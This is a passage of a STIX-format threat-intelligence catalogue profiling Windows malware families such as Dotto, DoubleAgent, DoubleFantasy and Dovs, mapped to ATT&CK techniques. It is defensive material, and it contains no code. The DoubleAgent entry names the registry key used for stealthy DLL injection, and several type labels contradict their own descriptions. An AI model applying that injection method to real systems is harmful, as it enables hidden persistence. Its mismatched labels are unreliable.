or 'Reflection' (`T1055`) to inject its unencrypted payload directly into the memory of a legitimate Windows process (like `RegAsm.exe` or `MSBuild.exe`), bypassing static disk analysis.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the specific payload hidden within the generic .NET dropper (it could be ransomware, an infostealer, or a RAT). Host-based IoCs include EDR alerts for `.exe` files executing from the `%Temp%` or `%AppData%` directories, particularly if they immediately spawn native Windows utilities like `RegAsm.exe` (a strong indicator of process injection). (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dotnet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dotnet"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34eb3d3f-cb0d-50ef-88f8-790d8e8699e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--93341c78-1902-5b71-a70c-cdc0fd27c2db",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dotnet exhibits technique T1027 (Obfuscated Files or Information (Use of .NET Obfuscators))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ab87d69e-ad5a-5d1e-b7f4-c2f7059267a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--93341c78-1902-5b71-a70c-cdc0fd27c2db",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dotnet exhibits technique T1055 (Process Injection (Often injecting into RegAsm.exe))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2160be0b-c155-5480-a079-9a3f1d7c4d19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--93341c78-1902-5b71-a70c-cdc0fd27c2db",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dotnet exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e3c73006-3ab0-581c-977b-9e14d1639b07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--93341c78-1902-5b71-a70c-cdc0fd27c2db",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dotnet exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--178822bb-26ab-5f3a-89c2-dd1e1349758e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dotto",
      "description": "Trojan:Win32/Dotto is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Dotto</b><br>To an end-user, a Dotto infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Dotto is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Dotto is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Dotto frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Dotto reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dotto",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dotto"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e25b27cd-99a0-5c62-ae33-900044785cf9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--178822bb-26ab-5f3a-89c2-dd1e1349758e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dotto exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f171922-ca11-5439-84f7-ef8af260ede2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--178822bb-26ab-5f3a-89c2-dd1e1349758e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dotto exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2ad3cef-91df-5086-9798-ef5dbf76f3f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--178822bb-26ab-5f3a-89c2-dd1e1349758e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dotto exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0655bcc0-d532-5adb-a05b-416aa801be54",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--178822bb-26ab-5f3a-89c2-dd1e1349758e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dotto exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1c1514c-864b-5b96-89d6-8f2c8a8fdb53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--178822bb-26ab-5f3a-89c2-dd1e1349758e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dotto exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--962f15e8-1cee-5ed0-bc62-da92ed6f197d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Doubleagent",
      "description": "<h3>Executive Summary</h3>\nDoubleAgent is not a traditional malware family, but rather a highly sophisticated, open-source code injection and persistence technique. It exploits a legitimate feature of the Windows operating system\u2014the Application Verifier\u2014to inject a malicious DLL into *any* process during its initialization. While originally documented by researchers as a proof-of-concept, the DoubleAgent technique is actively abused by advanced threat actors and APT groups to establish completely invisible persistence and bypass next-generation endpoint security controls.\n\n<h3>Technical Architecture and Exploitation</h3>\nThe Windows Application Verifier is a developer tool designed to monitor applications for memory corruption and handle leaks. It works by loading a specific \"verifier provider DLL\" into the target process as it starts.\n\nThe DoubleAgent technique abuses this mechanism:\n<ul>\n<li><strong>Registry Manipulation:</strong> The attacker modifies a specific, legitimate Windows Registry key (`HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<TargetProcess.exe>`). They create a subkey named `VerifierDlls` and point it to their malicious DLL payload.</li>\n<li><strong>Universal Injection:</strong> Once the registry key is set, the Windows OS itself will automatically load the attacker's malicious DLL into the target process (e.g., `explorer.exe`, `chrome.exe`, or even the antivirus engine's process like `MsMpEng.exe`) every single time that process is launched.</li>\n<li><strong>Absolute Stealth:</strong> Because the injection is performed natively by the OS loader *before* the application even begins executing its own code, traditional antivirus hooks and user-mode EDR agents are completely blind to the injection.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nThe DoubleAgent technique is a critical threat. It allows an attacker to gain full control over any application on the system. By injecting into the antivirus process itself, the attacker can silently neutralize the endpoint's primary defense mechanism, rendering it incapable of detecting subsequent malicious activity.\n\n<h3>Defense and Resilience Strategies</h3>\n<ul>\n<li><strong>Registry Monitoring (FIM):</strong> Traditional file scanning cannot stop DoubleAgent. Defenses must rely on strict File Integrity Monitoring (FIM) and EDR rules that monitor the `Image File Execution Options` (IFEO) registry keys for unauthorized modifications.</li>\n<li><strong>Protected Processes:</strong> Utilize Windows Protected Process Light (PPL) technology. Processes running as PPL (which should include enterprise EDR agents) prevent unsigned or unauthorized DLLs from being loaded, even via the Application Verifier mechanism.</li>\n<li><strong>Privilege Management:</strong> The initial execution of the DoubleAgent technique requires administrative privileges to modify the HKLM registry hive. Enforcing the Principle of Least Privilege (PoLP) and strict UAC controls prevents the initial registry modification required to set up the attack.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.DoubleAgent",
        "Exploit.ApplicationVerifier",
        "Riskware.DoubleAgent"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Doubleagent",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/doubleagent"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b097f26e-d8c8-5be8-bfdc-8dedc926a538",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--962f15e8-1cee-5ed0-bc62-da92ed6f197d",
      "target_ref": "attack-pattern--a0e01277-f7d6-5be2-950c-4bc96a414f00",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Doubleagent exhibits technique T1546.012 (Event Triggered Execution: Image File Execution Options Injection (Disabling Task Manager))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff62caad-db89-5d90-adaa-efd261d6e529",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--962f15e8-1cee-5ed0-bc62-da92ed6f197d",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Doubleagent exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5db7a144-2b9d-5e57-a7c8-975c187fa349",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--962f15e8-1cee-5ed0-bc62-da92ed6f197d",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Doubleagent exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4be05635-5fba-5fca-a4bc-4c9e2ae24b71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Doublefantasy",
      "description": "<h3>Executive Summary</h3>\nDoubleFantasy is a highly sophisticated, stealthy Backdoor and loader component widely attributed to the <strong>Equation Group</strong> (an extremely advanced, nation-state level Advanced Persistent Threat, likely associated with the NSA). It functions as a first-stage implant, designed to covertly confirm the identity and value of a compromised target before downloading and deploying the group's heavier, more complex espionage platforms (such as the EquationDrug or GrayFish platforms).\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDoubleFantasy was distributed through highly targeted operations, including zero-day exploits, watering hole attacks, and even physical interdiction of hardware (e.g., intercepting CD-ROMs in the mail). The overarching goal of its design is absolute stealth.\n\nUpon execution, DoubleFantasy prioritizes verification and establishing a covert communications channel:\n<ul>\n<li><strong>Target Validation:</strong> The backdoor's primary purpose is to act as a \"validator.\" It gathers extensive system profiling data\u2014network configuration, running processes, installed software, and domain information\u2014to allow the attackers to verify if the infected machine belongs to a high-value target (e.g., a foreign government, telecom, or cryptography firm) before deploying more valuable, riskier toolsets.</li>\n<li><strong>Covert C2 Communication:</strong> DoubleFantasy utilizes highly obfuscated communication protocols. It often uses custom encryption and communicates over standard ports (like HTTP 80 or HTTPS 443) but structures its packets to mimic legitimate web traffic or forum posts to bypass Intrusion Detection Systems (IDS).</li>\n<li><strong>Advanced Rootkit Capabilities:</strong> To maintain its presence undetected for months or years, the malware heavily modifies the Windows Registry and utilizes advanced rootkit techniques (often hooking undocumented Windows APIs) to hide its files, processes, and network connections from local administrators and standard antivirus.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA DoubleFantasy infection is a catastrophic security incident. It indicates that the organization has been successfully targeted by a tier-one, nation-state intelligence agency. The presence of DoubleFantasy means the network has been breached for the purpose of long-term cyber espionage and data exfiltration.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Engage Specialist Incident Response:</strong> Standard IT remediation is insufficient for an Equation Group breach. Organizations must immediately engage specialized, third-party Incident Response (IR) firms experienced in nation-state hunting and eradication.</li>\n<li><strong>Extensive Network Forensics:</strong> Isolate the affected segments, but do not immediately wipe the machines. Comprehensive network traffic analysis and memory forensics are required to identify what secondary implants (like GrayFish) DoubleFantasy may have downloaded, and how far the attackers have pivoted laterally.</li>\n<li><strong>Complete Infrastructure Rebuild:</strong> Due to the extreme sophistication of the rootkits involved (which often infect HDD firmware or the system BIOS/UEFI), \"cleaning\" the machine is impossible. Remediation requires a complete hardware replacement or firmware flashing, followed by a total rebuild of the affected network infrastructure.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.DoubleFantasy",
        "EquationGroup.DoubleFantasy",
        "Trojan.Win32.DoubleFantasy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Doublefantasy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/doublefantasy"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--035e69e5-4f54-566a-ba2e-d0183a0a5351",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4be05635-5fba-5fca-a4bc-4c9e2ae24b71",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Doublefantasy exhibits technique T1014 (Rootkit (Hiding files and processes))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--aa37b729-2957-50b6-a521-ffdef2f42ea8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1057: Process Discovery",
      "description": "MITRE ATT&CK Technique T1057 (Process Discovery) under tactic Discovery.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1057",
          "url": "https://attack.mitre.org/techniques/T1057/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20dfaffb-1358-517d-ad75-210a73a2f3e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4be05635-5fba-5fca-a4bc-4c9e2ae24b71",
      "target_ref": "attack-pattern--aa37b729-2957-50b6-a521-ffdef2f42ea8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Doublefantasy exhibits technique T1057 (Process Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4123148e-619b-58f2-a0e5-d07e0d5e01cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4be05635-5fba-5fca-a4bc-4c9e2ae24b71",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Doublefantasy exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc5a523d-bd77-59b1-8aea-db98a868dd85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4be05635-5fba-5fca-a4bc-4c9e2ae24b71",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Doublefantasy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6047f9fa-b281-51ff-aaab-4ac43354a450",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dovs",
      "description": "Dovs (cataloged in antivirus vendor databases under detections including Trojan:Win32/Dovs, TrojanDownloader:Win32/Dovs, and Win32/Dovs) is a stealthy Windows trojan downloader active since 2013. Engineered to serve as an initial access and payload delivery stager, Dovs typically infiltrates systems via malicious email attachments, cracked software packages, or exploit kits. Upon execution, Dovs decrypts embedded configuration parameters, verifies host network connectivity, and reaches out to hardcoded remote command-and-control (C2) servers over HTTP or HTTPS. It downloads secondary malicious executables\u2014such as credential stealers, cryptocurrency miners, or rogue security software\u2014saving them into temporary directories like %Temp% or %AppData% with randomly generated filenames. Dovs establishes persistence by modifying Windows registry Run keys or configuring scheduled tasks to ensure automatic reactivation across reboots. (Observed samples in benchmark: 75)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Dovs",
        "TrojanDownloader:Win32/Dovs",
        "Win32/Dovs"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dovs",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dovs"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--761c33d9-b8e0-5b7b-8dff-4f13ba00bef4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6047f9fa-b281-51ff-aaab-4ac43354a450",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dovs exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b71f4e68-a893-5322-b567-f0c717cf4ce1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6047f9fa-b281-51ff-aaab-4ac43354a450",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dovs exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9321df6-9ab4-5af3-9ba8-d1a4d16b651e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6047f9fa-b281-51ff-aaab-4ac43354a450",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dovs exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ea1fece-7cb6-5f61-86ef-e589c3602c29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6047f9fa-b281-51ff-aaab-4ac43354a450",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dovs exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1b0767e-8e0b-558c-a60a-302a437ebcbf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6047f9fa-b281-51ff-aaab-4ac43354a450",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dovs exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ace23ccd-e042-5ee1-9526-65f11fa05e12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dowanun",
      "description": "<h3>Executive Summary</h3>\nDowanun is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDowanun is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Dowanun operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Dowanun ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Dowanun receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Dowanun infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Dowanun executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Dowanun frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Dowanun",
        "Downloader.Dowanun",
        "Win32/Dowanun"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dowanun",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dowanun"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78ed559c-d923-5379-90ac-e05886c3ff03",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ace23ccd-e042-5ee1-9526-65f11fa05e12",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dowanun exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26e61e85-aacb-540a-a366-d0824ded5936",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ace23ccd-e042-5ee1-9526-65f11fa05e12",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dowanun exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8ca9bc7-9ea4-543b-b8e1-eb68bfd8a4c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ace23ccd-e042-5ee1-9526-65f11fa05e12",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dowanun exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ce966cf7-18f7-5e76-8bbe-193653c3a894",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Downeks",
      "description": "Downeks (identified in security vendor telemetries under signatures including TrojanDownloader:Win32/Downeks, Trojan:Win32/Downeks, and Trojan.Downeks) is an evasive multi-stage Windows trojan downloader active since 2016. Infiltrating endpoints primarily through phishing email attachments and malicious software downloads, Downeks functions as an initial staging loader for secondary crimeware threats. Upon execution, Downeks performs environmental fingerprinting, checks for sandbox and hypervisor indicators, and creates autostart registry keys to establish persistence. It connects to remote command-and-control servers over HTTP/HTTPS, transmits host telemetry, and downloads encrypted payload files\u2014frequently modular banking trojans, cryptocurrency miners, and ransomware\u2014saving and executing them from temporary directories or directly into memory via process hollowing. (Observed samples in benchmark: 25)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/Downeks",
        "Trojan:Win32/Downeks",
        "Trojan.Downeks",
        "Win32/Downeks",
        "TrojanDownloader:Win32/Downeks.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Downeks",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/downeks"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e20c61b2-a19f-524b-af04-b623fe7c7873",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Downer",
